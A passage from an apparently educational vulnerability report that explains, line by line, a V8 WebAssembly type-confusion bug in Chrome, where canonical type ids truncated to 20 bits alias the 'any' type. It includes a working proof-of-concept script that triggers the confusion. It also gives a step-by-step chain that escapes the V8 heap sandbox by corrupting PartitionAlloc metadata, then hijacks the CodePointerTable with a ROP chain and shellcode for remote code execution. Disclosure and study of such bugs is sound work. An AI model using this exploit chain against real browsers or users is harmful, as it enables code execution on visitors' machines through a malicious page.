  static constexpr int kKindBits = 5;
  static constexpr int kHeapTypeBits = 20;

  static const intptr_t kBitFieldOffset;

 private:
  // {hash_value} directly reads {bit_field_}.
  friend size_t hash_value(ValueType type);

  using KindField = base::BitField<ValueKind, 0, kKindBits>;
  using HeapTypeField = KindField::Next<uint32_t, kHeapTypeBits>;                   // [!] HeapType, 20 bits wide
  // Marks a type as a canonical type which uses an index relative to its
  // recursive group start. Used only during type canonicalization.
  using CanonicalRelativeField = HeapTypeField::Next<bool, 1>;
  //...
}

Line by line:

  • The comment block explains that a ValueType is packed into 32 bits: a kind (what sort of value it is) plus a heap representation (which object type it points to).
  • class ValueType { begins the definition.
  • static constexpr ValueType RefMaybeNull(uint32_t heap_type, Nullability nullability) is a factory function that builds a reference type from a heap type number and a nullability flag.
  • DCHECK(HeapType(heap_type).is_valid()); is a debug-only check that the number is a valid heap type. It does not check that the number is small enough to fit.
  • return ValueType(KindField::encode(...) | HeapTypeField::encode(heap_type)); builds the packed value: the kind bits say "reference" or "nullable reference", and the heap type bits hold the number. The | is a bitwise OR that glues the two fields together. The comment // [!] marks the line where a large catalogue number is squeezed into the small field.
  • kLastUsedBit = 25 says the highest bit used by the encoding is bit 25.
  • kKindBits = 5 says the kind occupies 5 bits.
  • kHeapTypeBits = 20 says the heap type occupies 20 bits. Twenty bits can hold numbers from 0 to 1,048,575 (that is, 0xfffff).
  • using KindField = base::BitField<ValueKind, 0, kKindBits>; defines the first field: 5 bits starting at bit 0.
  • using HeapTypeField = KindField::Next<uint32_t, kHeapTypeBits>; defines the next field: 20 bits starting right after the kind. The comment // [!] HeapType, 20 bits wide highlights the limit.
  • using CanonicalRelativeField = HeapTypeField::Next<bool, 1>; adds one more bit used only during canonicalisation, to mark a type index as relative to its group.

The heap_type field is not designed to hold a full uint32_t canonical type id; it is designed to hold a wasm::HeapType. There is a confusion between the two representations (canonicalised type id versus type index). Because wasm::HeapType always fits in 20 bits, the initialiser and the getters truncate the value to 20 bits. Truncation means throwing away the high bits: 1,048,576 becomes 0, 1,048,577 becomes 1, and so on, exactly like a clock that wraps around after 12.

Exploitation

Step 1: truncation of the canonical type id

The truncation produces the first exploitable primitive: the JS-to-Wasm type check confuses canonical type ids t1 and t2 whenever (t1 & 0xfffff) == (t2 & 0xfffff). The & is a bitwise AND, which here keeps only the low 20 bits. For a JS-to-Wasm boundary typechecked to receive objects of canonical type id tn = t0 + 0x100000 * n where 0 < t0 < 0x100000, the runtime type check is performed against the truncated t0 instead. Objects of type t0 and its subtypes therefore bypass the check against tn and pass the JS-to-Wasm conversion, giving further type confusion. In everyday terms: the guard was told to admit only holders of ticket 1,048,577, but it reads only the last six digits and admits holders of ticket 1 as well.

Step 2: canonical type id used as a wasm::HeapType

The second primitive is simpler than working with index wraparounds. Since the code confuses a canonical type id with a wasm::HeapType, there are cases where the canonical type id is misused as a wasm::HeapType. Following the call chain into JSToWasmObject():

C++
class HeapType {
 public:
  enum Representation : uint32_t {
    kFunc = kV8MaxWasmTypes,  // shorthand: c
    kEq,                      // shorthand: q
    kI31,                     // shorthand: j
    kStruct,                  // shorthand: o
    kArray,                   // shorthand: g
    kAny,                     //                                    // [!] top type ("any")
    kExtern,                  // shorthand: a.
    //...
  };
  //...
}

namespace wasm {
MaybeHandle<Object> JSToWasmObject(Isolate* isolate, Handle<Object> value,
                                   ValueType expected_canonical,
                                   const char** error_message) {
  //...
  switch (expected_canonical.heap_representation_non_shared()) {
    //...
    case HeapType::kAny: {                                          // [!] all non-null JS values allowed
      if (IsSmi(*value)) return CanonicalizeSmi(value, isolate);
      if (IsHeapNumber(*value)) {
        return CanonicalizeHeapNumber(value, isolate);
      }
      if (!IsNull(*value, isolate)) return value;
      *error_message = "null is not allowed for (ref any)";
      return {};
    }
    //...
  }
  //...
}

Line by line:

  • class HeapType { begins the definition of the built-in heap types.
  • enum Representation : uint32_t { declares a list of named numbers, each stored as a uint32_t.
  • kFunc = kV8MaxWasmTypes sets the first built-in to 1,000,000, the same value as the per-module type limit. The comment says its shorthand in Wasm text format is c.
  • kEq, kI31, kStruct, kArray, kAny, kExtern follow with no explicit value, so each is one more than the previous: 1,000,001, 1,000,002, 1,000,003, 1,000,004, 1,000,005 and 1,000,006. The comment // [!] top type ("any") marks kAny at 1,000,005.
  • MaybeHandle<Object> JSToWasmObject(...) is the runtime function that converts a JavaScript value to a Wasm object. MaybeHandle is a handle that may be empty, used to signal failure.
  • switch (expected_canonical.heap_representation_non_shared()) branches on the heap type stored in the expected type.
  • case HeapType::kAny: is the branch for the top type. The comment // [!] all non-null JS values allowed states its meaning: anything that is not null is acceptable.
  • if (IsSmi(*value)) return CanonicalizeSmi(value, isolate); if the value is a small integer, convert it to a Wasm representation and accept it.
  • if (IsHeapNumber(*value)) { return CanonicalizeHeapNumber(value, isolate); } if the value is a floating-point number stored on the heap, convert and accept it.
  • if (!IsNull(*value, isolate)) return value; otherwise, if the value is not null, accept it as is.
  • *error_message = "null is not allowed for (ref any)"; return {}; rejects null with that message.

This is the second vulnerability: the JS-to-Wasm type check confuses the truncated canonical type id with a wasm::HeapType. Any type whose canonical type id has the form tn = kAny + 0x100000 * n (where kAny = 1000005) is treated as allowing all subtypes of any. Since any is a top type, that includes everything except null, which the exploit does not need. So if the catalogue happens to hand out the number 1,000,005 to a struct you declared, the guard treats that struct as the top type and lets any non-null JavaScript value through.

Step 3: the proof of concept

The result is a strong exploitation primitive: arbitrary type confusion between Wasm objects. Building caged read/write, addrOf() and fakeObj() from it is described in the CVE-2024-2887 write-up; the author's short summary is to cause confusion between (type $t1 (struct (mut i32))), (type $t2 (struct (ref $t1))) and (type $t3 (struct (exnref))), corresponding to int, int* and jsobj. In plain words: make the engine believe a plain integer is a pointer, or that a pointer is a JavaScript object, and you can read and write memory at addresses of your choosing. addrOf() returns the address of an object, and fakeObj() creates an object at a chosen address; together they are the standard toolkit for turning a type confusion into full memory access.

The proof of concept first stacks up canonicalised types so that a chosen struct lands on the kAny value:

JavaScript
// poc.js
// kNumberOfPredefinedTypes = 2

// stack up 1000000 more canonicalized types (total 1000002)
{
  const builder = new WasmModuleBuilder();
  builder.startRecGroup();
  for (let i = 0; i < 1000000; i++) {
    builder.addArray(kWasmI64);
  }
  builder.endRecGroup();
  builder.instantiate();
}

// confuse argument as struct (mut i32) by aliasing canonicalized type with kAny
{
  let builder = new WasmModuleBuilder();
  builder.startRecGroup();
  builder.addArray(kWasmI64); // 1000002
  builder.addArray(kWasmI64); // 1000003
  builder.addArray(kWasmI64); // 1000004
  let struct = builder.addStruct([makeField(kWasmI32, true)]); // 1000005 <- kAny
  let funcSig = builder.addType(makeSig([wasmRefType(struct)], [kWasmI32])); // 1000006
  builder.endRecGroup();
  builder
    .addFunction("read", funcSig)
    .addBody([
      kExprLocalGet,
      0,
      kGCPrefix,
      kExprStructGet,
      struct,
      ...wasmUnsignedLeb(0),
    ])
    .exportFunc();
  const instance = builder.instantiate();
  const wasm = instance.exports;

  // this should obviously fail, instead of reading from the given JS object (or smi)
  // instead we segfault on the smi as caged offset
  console.log(wasm.read(0).toString(16));
}

// FromJS / WasmJSToWasmObject is mistaking canonicalized type indexes as normal type indexes.
// This confusion also results in the value to be truncated to 20bits (= 0x100000 = 1048576) since
//  ValueType is used to represent the type indexes, so we can even cycle back to 0 and create more
//  types that are confused as kAny.
// => Arbitrary WASM type confusion, variant of @_manfp's CVE-2024-2887 at Pwn2Own Vancouver 2024

Line by line:

  • // poc.js names the file. // kNumberOfPredefinedTypes = 2 reminds us that catalogue numbers 0 and 1 are already taken by the two built-in array types.
  • The first block, { ... }, is a bare scope that keeps its variables local.
  • const builder = new WasmModuleBuilder(); creates a helper object that assembles a Wasm module in memory. It is part of V8's test tooling, not a normal browser API.
  • builder.startRecGroup(); opens a recursive group, a set of types that may refer to one another.
  • for (let i = 0; i < 1000000; i++) { builder.addArray(kWasmI64); } adds one million distinct array types, each an array of 64-bit integers. Each new type consumes the next catalogue number, so the counter climbs to 1,000,002 (the two predefined types plus one million).
  • builder.endRecGroup(); closes the group.
  • builder.instantiate(); loads the module, which is what actually registers the types in the global catalogue.
  • The second block builds the module that will be tricked.
  • builder.addArray(kWasmI64); // 1000002, then // 1000003, then // 1000004: three more array types take the next three catalogue numbers.
  • let struct = builder.addStruct([makeField(kWasmI32, true)]); // 1000005 <- kAny declares a struct with one mutable 32-bit integer field. It receives catalogue number 1,000,005, which is exactly the value of kAny. The comment marks the collision.
  • let funcSig = builder.addType(makeSig([wasmRefType(struct)], [kWasmI32])); // 1000006 declares a function signature that takes a reference to that struct and returns a 32-bit integer. It gets number 1,000,006.
  • builder.endRecGroup(); closes the group.
  • builder.addFunction("read", funcSig) adds a function named read with that signature.
  • .addBody([ kExprLocalGet, 0, kGCPrefix, kExprStructGet, struct, ...wasmUnsignedLeb(0), ]) gives it a body: push local variable 0 (the argument), then perform a GC-prefixed struct.get on the struct type, reading field 0. wasmUnsignedLeb encodes the field number in the variable-length integer format Wasm uses.
  • .exportFunc(); makes the function callable from JavaScript.
  • const instance = builder.instantiate(); loads the module.
  • const wasm = instance.exports; grabs the exported functions.
  • console.log(wasm.read(0).toString(16)); calls read with the number 0 and prints the result in hexadecimal. The comment explains that this should obviously fail the type check, because 0 is a number, not a struct. Instead the argument is accepted as any and the small integer is used as an offset inside the pointer compression cage, which segfaults. A segfault is the operating system killing the program because it touched memory it was not allowed to touch; here it is the visible sign that the type check was bypassed.
  • The trailing comments restate the root cause: FromJS and WasmJSToWasmObject mistake canonicalised type indexes for normal type indexes, the value is truncated to 20 bits (0x100000, that is 1,048,576), so the counter can cycle back to 0 and produce more types confused with kAny. The last line credits the bug as a variant of Manfred Paul's CVE-2024-2887.

Step 4: escaping the V8 heap sandbox through PartitionAlloc

The remaining piece is escaping the V8 heap sandbox. The author argues that, despite the absence of publicly known techniques, this is still trivial by abusing PartitionAlloc. PartitionAlloc is not part of the 4GB V8 pointer compression cage, but it sits inside the 1TB V8 heap sandbox and is reachable from it (the pointer compression cage and the heap sandbox are not a security boundary between each other). It is rich in external pointers that are used directly without meaningful mitigation. An external pointer here means a full 64-bit address stored in memory, as opposed to the short 32-bit offsets used inside the cage; if an attacker can overwrite one, they can point it anywhere.

By modifying ArrayBuffer object fields with addrOf() and caged_write(), specifically the backing_store field, it is easy to gain control over PartitionAlloc metadata. An ArrayBuffer is the JavaScript object that holds raw bytes, for example the data behind a typed array. Its backing_store field is the pointer to where those bytes actually live. caged_write() writes to an address inside the cage. This immediately yields a chrome.dll address leak from SlotSpanMetadata::bucket. A leak means learning an address that should have been secret; knowing where chrome.dll (the main Chrome library) is loaded defeats address randomisation, the defence that normally makes addresses unpredictable.

C++
struct SlotSpanMetadata {
 private:
  PartitionFreelistEntry* freelist_head = nullptr;

 public:
  // TODO(lizeb): Make as many fields as possible private or const, to
  // encapsulate things more clearly.
  SlotSpanMetadata* next_slot_span = nullptr;
  PartitionBucket* const bucket = nullptr;                                        // [!] chrome.dll address leak

  // CHECK()ed in AllocNewSlotSpan().
  // The maximum number of bits needed to cover all currently supported OSes.
  static constexpr size_t kMaxSlotsPerSlotSpanBits = 13;
  static_assert(kMaxSlotsPerSlotSpan < (1 << kMaxSlotsPerSlotSpanBits), "");

  // |marked_full| isn't equivalent to being full. Slot span is marked as full
  // iff it isn't on the active slot span list (or any other list).
  uint32_t marked_full : 1;
  // |num_allocated_slots| is 0 for empty or decommitted slot spans, which can
  // be further differentiated by checking existence of the freelist.
  uint32_t num_allocated_slots : kMaxSlotsPerSlotSpanBits;
  uint32_t num_unprovisioned_slots : kMaxSlotsPerSlotSpanBits;

 private:
  const uint32_t can_store_raw_size_ : 1;
  uint32_t freelist_is_sorted_ : 1;
  uint32_t unused1_ : (32 - 1 - 2 * kMaxSlotsPerSlotSpanBits - 1 - 1);
  // If |in_empty_cache_|==1, |empty_cache_index| is undefined and mustn't be
  // used.
  uint16_t in_empty_cache_ : 1;
  uint16_t empty_cache_index_
      : kMaxEmptyCacheIndexBits;  // < kMaxFreeableSpans.
  uint16_t unused2_ : (16 - 1 - kMaxEmptyCacheIndexBits);
  // Can use only 48 bits (6B) in this bitfield, as this structure is embedded
  // in PartitionPage which has 2B worth of fields and must fit in 32B.
  //...
}

Line by line:

  • struct SlotSpanMetadata { begins the record PartitionAlloc keeps about a slot span. A slot span is a run of memory pages carved into equal-sized slots for objects of one size class.
  • PartitionFreelistEntry* freelist_head = nullptr; is the head of the list of free slots in this span. nullptr means "no pointer".
  • SlotSpanMetadata* next_slot_span = nullptr; links to the next span in a list.
  • PartitionBucket* const bucket = nullptr; points to the bucket that owns this span. A bucket groups spans of the same slot size. The comment // [!] chrome.dll address leak marks it: because the bucket lives in Chrome's code, reading this pointer tells you where chrome.dll is loaded.
  • kMaxSlotsPerSlotSpanBits = 13 says the slot counts are stored in 13 bits.
  • static_assert(...) checks at compile time that the maximum slot count fits in 13 bits.
  • uint32_t marked_full : 1; is a one-bit flag saying the span is marked full. The comment explains that "marked full" does not mean "actually full": a span is marked full when it is not on the active list.
  • uint32_t num_allocated_slots : kMaxSlotsPerSlotSpanBits; counts allocated slots in 13 bits.
  • uint32_t num_unprovisioned_slots : kMaxSlotsPerSlotSpanBits; counts slots not yet backed by memory.
  • The remaining private bitfields record whether the raw size can be stored, whether the free list is sorted, and cache bookkeeping. The final comment notes the structure is embedded in a PartitionPage and must fit in 32 bytes.

Because bucket is later dereferenced and written to, it is the target field. Dereferencing means following a pointer to the memory it points at. The code involved in freeing an object is:

C++
PA_ALWAYS_INLINE void SlotSpanMetadata::Free(
    uintptr_t slot_start,
    PartitionRoot* root,
    const PartitionFreelistDispatcher* freelist_dispatcher)
    // PartitionRootLock() is not defined inside partition_page.h, but
    // static analysis doesn't require the implementation.
    PA_EXCLUSIVE_LOCKS_REQUIRED(PartitionRootLock(root)) {
  //...
  if (PA_UNLIKELY(marked_full || num_allocated_slots == 0)) {
    FreeSlowPath(1);                                            // [!] target path
  } else {
    // All single-slot allocations must go through the slow path to
    // correctly update the raw size.
    PA_DCHECK(!CanStoreRawSize());
  }
}

void SlotSpanMetadata::FreeSlowPath(size_t number_of_freed) {
  //...
  if (marked_full) {
    //...
    marked_full = 0;
    //...
    if (PA_LIKELY(bucket->active_slot_spans_head != get_sentinel_slot_span())) {
      next_slot_span = bucket->active_slot_spans_head;
    }
    bucket->active_slot_spans_head = this;                      // [!] arbitrary address write
    PA_CHECK(bucket->num_full_slot_spans);  // Underflow.       // [!] constraint
    --bucket->num_full_slot_spans;                              // [!] arbitrary address decr (24bit int)
  }

  if (PA_LIKELY(num_allocated_slots == 0)) {
    //...
    if (PA_LIKELY(this == bucket->active_slot_spans_head)) {
      bucket->SetNewActiveSlotSpan();
    }
    //...
  }
}

bool PartitionBucket::SetNewActiveSlotSpan() {
  //...
  for (; slot_span; slot_span = next_slot_span) {
    next_slot_span = slot_span->next_slot_span;                 // [!] constraint: target should be zero
    //...
    if (slot_span->is_active()) {                               // [!] constraint: false on zeros
      //...
    } else if (slot_span->is_empty()) {                         // [!] arbitrary write
      slot_span->next_slot_span = empty_slot_spans_head;
      empty_slot_spans_head = slot_span;
    } else if (PA_LIKELY(slot_span->is_decommitted())) {
      slot_span->next_slot_span = decommitted_slot_spans_head;  // [!] arbitrary write
      decommitted_slot_spans_head = slot_span;
    } else {
      //...
    }
  }
  //...
}

Line by line:

  • PA_ALWAYS_INLINE void SlotSpanMetadata::Free(...) is the function called when an object is freed. PA_ALWAYS_INLINE asks the compiler to paste the code in at every call site for speed.
  • The parameters are the address of the slot being freed, the allocator root, and a helper that manages free lists.
  • PA_EXCLUSIVE_LOCKS_REQUIRED(PartitionRootLock(root)) is an annotation telling static analysis that the caller must hold the allocator lock.
  • if (PA_UNLIKELY(marked_full || num_allocated_slots == 0)) checks whether the span is marked full or has no allocated slots. PA_UNLIKELY is a hint that this is rare.
  • FreeSlowPath(1); handles that rare case. The comment // [!] target path marks it as the path the exploit wants.
  • The else branch is the fast path, with a debug check that the raw size is not stored.
  • void SlotSpanMetadata::FreeSlowPath(size_t number_of_freed) is the slow path.
  • if (marked_full) { enters the interesting branch.
  • marked_full = 0; clears the flag.
  • if (PA_LIKELY(bucket->active_slot_spans_head != get_sentinel_slot_span())) { next_slot_span = bucket->active_slot_spans_head; } links this span in front of the bucket's current active span, unless the bucket is empty.
  • bucket->active_slot_spans_head = this; writes the address of this metadata record into the bucket. The comment // [!] arbitrary address write marks it: if bucket has been overwritten with an attacker-chosen address, this line writes a known value to that address.
  • PA_CHECK(bucket->num_full_slot_spans); checks that the counter is non-zero. The comment // [!] constraint marks it: the target address must hold a non-zero value here, or the program aborts.
  • --bucket->num_full_slot_spans; decrements that counter. The comment calls it an arbitrary address decrement of a 24-bit integer: again, with a controlled bucket, this subtracts one from a value at an address of the attacker's choosing.
  • if (PA_LIKELY(num_allocated_slots == 0)) { ... if (PA_LIKELY(this == bucket->active_slot_spans_head)) { bucket->SetNewActiveSlotSpan(); } ... } handles the case where the span has become empty and is the bucket's active span, asking the bucket to pick a new active span.
  • bool PartitionBucket::SetNewActiveSlotSpan() walks the list of spans.
  • next_slot_span = slot_span->next_slot_span; reads the next link. The comment // [!] constraint: target should be zero notes that the target must contain zero here.
  • if (slot_span->is_active()) checks whether the span is active. The comment // [!] constraint: false on zeros notes that a zeroed record must not look active.
  • else if (slot_span->is_empty()) handles an empty span: slot_span->next_slot_span = empty_slot_spans_head; empty_slot_spans_head = slot_span; pushes it onto the empty list. The comment // [!] arbitrary write marks this as a write to an attacker-chosen address.
  • else if (PA_LIKELY(slot_span->is_decommitted())) handles a decommitted span (memory returned to the system): slot_span->next_slot_span = decommitted_slot_spans_head; decommitted_slot_spans_head = slot_span; pushes it onto the decommitted list, again marked // [!] arbitrary write.

By modifying the bucket field and setting the marked_full bit in the slot span metadata, the code reaches FreeSlowPath(), where an arbitrary address write is possible with the metadata address as the written value. The immediate PA_CHECK() is a constraint the target address must satisfy. An arbitrary address decrement follows, which can also be used as desired, for example to shift a JIT code address out of CodePointerTables. JIT means just-in-time compilation: V8 turns JavaScript into machine code while the page runs, and the CPT keeps track of where that code lives.

This primitive can do whatever is needed, and arbitrary values can be created out of thin air: once the PA_CHECK() constraint is satisfied from an adjacent higher address, the value can be pulled down by repeatedly decrementing one by one to the desired location, then the decrement triggered repeatedly to create an arbitrary value. Think of a counter you can decrement as often as you like at an address you choose: start from a large number and count down until the value is exactly what you want.

The PartitionBucket::SetNewActiveSlotSpan() path can also be taken with this being the attacker-controlled PartitionBucket*. That gives an arbitrary write of an arbitrary value to a target pointer that already contains NULL, plus a few more constraints that are easy to satisfy. It supplements the first primitive when writing arbitrary values in the middle of a large region of zeros, where PA_CHECK(bucket->num_full_slot_spans) may be hard to satisfy.

Step 5: popping a shell

With the sandbox bypassed through the arbitrary address write, the rest is using the primitive to pop a shell. Full RCE is obtained by hijacking the CodePointerTable, located just in front of the Sandbox object:

  1. Prepare the ROP chain, shellcode and anything else required.
  2. Overwrite the CPT function table base to point at a controlled ArrayBuffer filled with the pivot gadget.
  3. Trigger code that invokes calls through the CPT to call the pivot gadget (JSEntry() is the simplest one).

The gadget pivots the stack to the ROP chain, which sets the shellcode region to executable and returns to the shellcode. In plain words: the attacker first lays out a list of instructions in memory they control, then redirects a table of function addresses to it, then makes the browser call through that table. The processor starts following the attacker's list instead of the browser's own code.

The full exploit is delivered as exp.html, which embeds the V8 test helper code for building Wasm modules (byte encoding helpers, section and opcode constants, signature helpers and the WasmModuleBuilder machinery) inside a <script> block, with a <textarea id="log"> used for output. The report shows the beginning of that helper code, including the bytes() function, the header and section constants, the value type constants, the opcode table and the GC, numeric, atomic and SIMD prefix opcodes.

Root cause

The mistake is a representation confusion in the JS-to-Wasm conversion path. FromJS() takes the canonical type id from module->isorecursive_canonical_type_ids[type.ref_index()] and passes it to wasm::ValueType::RefMaybeNull(), which stores it in the 20-bit HeapTypeField intended for a wasm::HeapType. Canonical type ids are unbounded uint32_t values, so they are truncated to 20 bits. The truncated value is then used both for the runtime type check in JSToWasmObject() and, when it happens to equal a HeapType representation such as kAny, as if it were that heap type. Because kAny is a top type, the check accepts every non-null JS value.

, and the kV8MaxWasmTypes limit of 1000000 applies to per-module type indexes, not to the global canonical id counter, which can be driven past kAny by instantiating modules with many types. The heap sandbox does not help either, because PartitionAlloc metadata lives inside the 1TB sandbox and its external pointers are used without meaningful mitigation.

Impact

An attacker who can run JavaScript in the browser, for example through a malicious page, can turn the Wasm type confusion into arbitrary read and write within the V8 heap, then into arbitrary address write in PartitionAlloc metadata, and finally into control flow hijacking through the CodePointerTable, resulting in remote code execution in the renderer. The renderer is the browser process that draws pages and runs their scripts, kept separate from the rest of the browser for safety. The report does not state which process or privilege level the shellcode runs at beyond describing it as full RCE.

Fix

The vendor issued a fix in Google Chrome version 124. The report does not describe the contents of the patch.

Variants to test

  • Look for other places where a canonical type id is stored in a wasm::ValueType or otherwise narrowed to 20 bits, such as other wrappers around JSToWasmObject(). A positive result is a JS-to-Wasm call that accepts a value of a different type than the signature declares.
  • Check whether the canonical id counter can be driven to other reserved HeapType representations (kFunc, kEq, kI31, kStruct, kArray, kExtern) by creating enough types. A positive result is a type check that behaves like the reserved heap type instead of the declared struct or array.
  • Test the 20-bit wraparound directly: declare a parameter of canonical type t0 + 0x100000 * n and pass an object of type t0. A positive result is the call succeeding where it should fail.
  • On other engines or runtimes with structural type canonicalisation, check whether canonical ids are bounded by the per-module type limit. A positive result is a canonical id larger than the module limit being accepted anywhere a type index is expected.
  • Where a sandbox surrounds an allocator, check whether allocator metadata reachable from inside the sandbox contains external pointers that are dereferenced and written on free. A positive result is a leak of a module address or a write to an attacker-chosen address through metadata corruption.

Glossary

  • API: a defined set of functions and data that one piece of software offers to another, like a menu of things you are allowed to ask for.
  • ArrayBuffer: a JavaScript object that holds a block of raw bytes, used as the storage behind typed arrays.
  • Bit: the smallest unit of data, a 0 or a 1. A 32-bit number can hold values up to about 4.29 billion.
  • Bitfield: a way of packing several small values into one integer by assigning each a range of bits.
  • Bucket (PartitionAlloc): a group of memory spans that all hand out slots of the same size.
  • Canonical type id: the single global number V8 gives to a distinct Wasm type so that identical types from different modules compare equal.
  • Canonicalisation: the process of giving identical things the same identifier so they can be compared and shared.
  • Chrome.dll: the main library file containing Chrome's compiled code on Windows.
  • CodePointerTable (CPT): a table holding the addresses of compiled code, kept in one place so code pointers need not be scattered through objects.
  • CVE: a public identifier for a known security vulnerability.
  • CVSS: a standard scoring system for the severity of a vulnerability.
  • DCHECK: a check that only runs in debug builds and is compiled out of release builds.
  • Decoding (Wasm): the step where the browser reads a Wasm module's binary form and validates it.
  • Dereference: to follow a pointer to the memory it points at.
  • External pointer: a full 64-bit memory address stored in an object, as opposed to a short offset inside the pointer compression cage.
  • Gadget (pivot): a short sequence of existing machine instructions that moves the processor's stack pointer to a location the attacker controls.
  • Garbage collection: automatic reclamation of memory that is no longer in use.
  • Heap: the area of memory where a program's objects are stored.
  • Heap sandbox: a large reserved region (about 1TB) in which V8 keeps its objects, so that a bug inside it cannot easily reach the rest of the process.
  • HeapType: V8's small numeric code for a built-in Wasm object kind, such as any, struct or array.
  • Isolate: one isolated instance of the V8 engine, with its own heap and its own type catalogue.
  • Isorecursive types: types that may refer to themselves or to each other within a group, so they must be compared as a group.
  • JavaScript: the programming language that web pages use for interactivity.
  • JIT (just-in-time compilation): compiling code to machine instructions while the program runs.
  • kAny: the WasmGC top type, meaning "any non-null value".
  • kV8MaxWasmTypes: the limit of 1,000,000 on the number of types a single Wasm module may declare.
  • Leak: learning a memory address or value that was supposed to stay secret, often defeating address randomisation.
  • Metadata: bookkeeping data that a system keeps about other data, here the allocator's records about memory chunks.
  • Module (Wasm): a compiled unit of WebAssembly code that a page can load and call into.
  • PartitionAlloc: Chrome's memory allocator, which hands out memory and keeps metadata about it.
  • Pointer: a number that records where in memory something lives.
  • Pointer compression cage: a 4GB region inside the heap sandbox where V8 stores most JavaScript objects and uses short 32-bit offsets instead of full addresses.
  • Primitive: a small, reliable capability (such as an arbitrary write) that an exploit builds on.
  • Recursive group: a set of Wasm types declared together that may refer to one another.
  • Remote code execution (RCE): running the attacker's code on someone else's machine, typically just by them visiting a page.
  • Renderer: the browser process that draws pages and runs their scripts, separated from the rest of the browser for safety.
  • ROP chain: a list of existing code fragments stitched together so the processor executes them in sequence.
  • Sandbox: a restricted environment that limits what code inside it can do.
  • Segfault: the operating system killing a program because it touched memory it was not allowed to touch.
  • Shellcode: a small piece of machine code that performs the attacker's chosen action.
  • Singleton: a class of which only one instance exists in a program.
  • Slot span: a run of memory pages that PartitionAlloc carves into equal-sized slots.
  • Smi: a small integer stored directly inside a pointer-sized word, with a tag bit to distinguish it from a real pointer.
  • Struct: a WasmGC object made of named, typed fields.
  • Subtype: a more specific type that belongs to a more general one.
  • Top type: the most general type, which every value belongs to.
  • Truncation: discarding the high bits of a number, so that a large value wraps around to a small one.
  • Type confusion: a bug where the program treats a value as a different type than it really is.
  • uint32_t: an unsigned 32-bit integer, holding whole numbers from 0 to about 4.29 billion.
  • V8: the JavaScript and WebAssembly engine inside Chrome.
  • Vector: a growable list of values.
  • Wasm (WebAssembly): a fast, low-level language that browsers can run alongside JavaScript.
  • WasmGC: the WebAssembly feature that adds garbage-collected structs and arrays with a rich type system.
  • WebAssembly: see Wasm.
  • Xref (cross-reference): a search for every place a name or value is used in a codebase.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.